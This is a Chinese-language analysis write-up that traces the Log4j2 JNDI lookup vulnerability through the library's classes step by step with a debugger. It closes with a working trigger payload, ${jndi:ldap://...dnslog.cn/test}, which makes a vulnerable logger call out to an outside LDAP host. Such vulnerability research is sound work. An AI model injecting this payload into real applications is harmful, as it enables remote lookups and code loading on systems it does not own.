Log4j2反序列化分析
前言
这篇文章内容主要是记录当时获取到漏洞情报后分析的思路,所以对该组件和相关的知识点没有补充(后面更新)
分析
通过搜索漏洞触发关键(字\函数)如:lookup()等函数来获取大部分可能存在的调用点
目前我并没有太好的方法可以批量来进行验证,所以手动一个个看
从第一个开始分析
org/apache/logging/log4j/core/lookup/JndiLookup.java->
org/apache/logging/log4j/core/lookup/AbstractLookup.java->
org/apache/logging/log4j/core/lookup/Interpolator.java->
org/apache/logging/log4j/core/lookup/StrSubstitutor.java
这是向上跟踪的,直到StrSubstitutor.java文件中的jndi调用点,中存在lookup(xx)可控参数(variableName)
继续向上跟踪->org/apache/logging/log4j/core/lookup/StrSubstitutor.java
在调用函数处下断点
发现调用logger并不会触发,那就继续向上看,发现进入循环需要对字符串进行某种匹配
通过对prefixMatcher追踪发现,他的值是动态变化的
对set和赋值点进行断点
发现还是没有成功截断
继续向上追踪
到这里因为太多链需要追,所以对这几个函数都进行断点
org/apache/logging/log4j/core/pattern/LiteralPatternConverter.java
并不会进入replace
当截断停留在
org/apache/logging/log4j/core/pattern/MessagePatternConverter.java
会将我们传入的xxx追加到文本后面
继续向下看,想进入replace还得需要满足程序中传入的字符串某一段的值[n]=$&[n+1]={
传入${xxxx后成功进入if
继续跟进replace
成功进入一开始分析的jndi利用函数
这时候就可以看到,prefixMatcher和suffixMatcher两个到底获取的是什么了
进入第一个match
匹配${起始位置
继续跟进第二个match
用来判断}的位置
因为我们这次并没有},所以使用${xxxx}重新调试
继续看
对:做了判断,但下面的一些关键字并不知道是做什么的
使用${:xxxx}重新调试
因为这里获取到的prefix为"“导致下面的lookup if过不去,调试进
看内存中strLookupMap的值
跟我们上面搞到的基本差不多
那这次再换payload:${date:xxxx}看看会发生什么
直接进入了DateLookup
回过头发现这里的lookup是直接从上面的map中拿到的
因为map中有jndi,那我们的payload继续修改:${jndi:xxxx}
发现传入的值被修改为java:comp/env/xxxx
进convertJndiName发现存在判断,当传入的字符中没有:和env/xxx前缀时就会触发if,导致穿进去的数据被修改
因为后面直接用jndiManager.lookup,所以我们这里的payload构造为:${jndi:ldap://v32ylu.dnslog.cn/test}
成功接收(dnslog收不到,所以换了vps)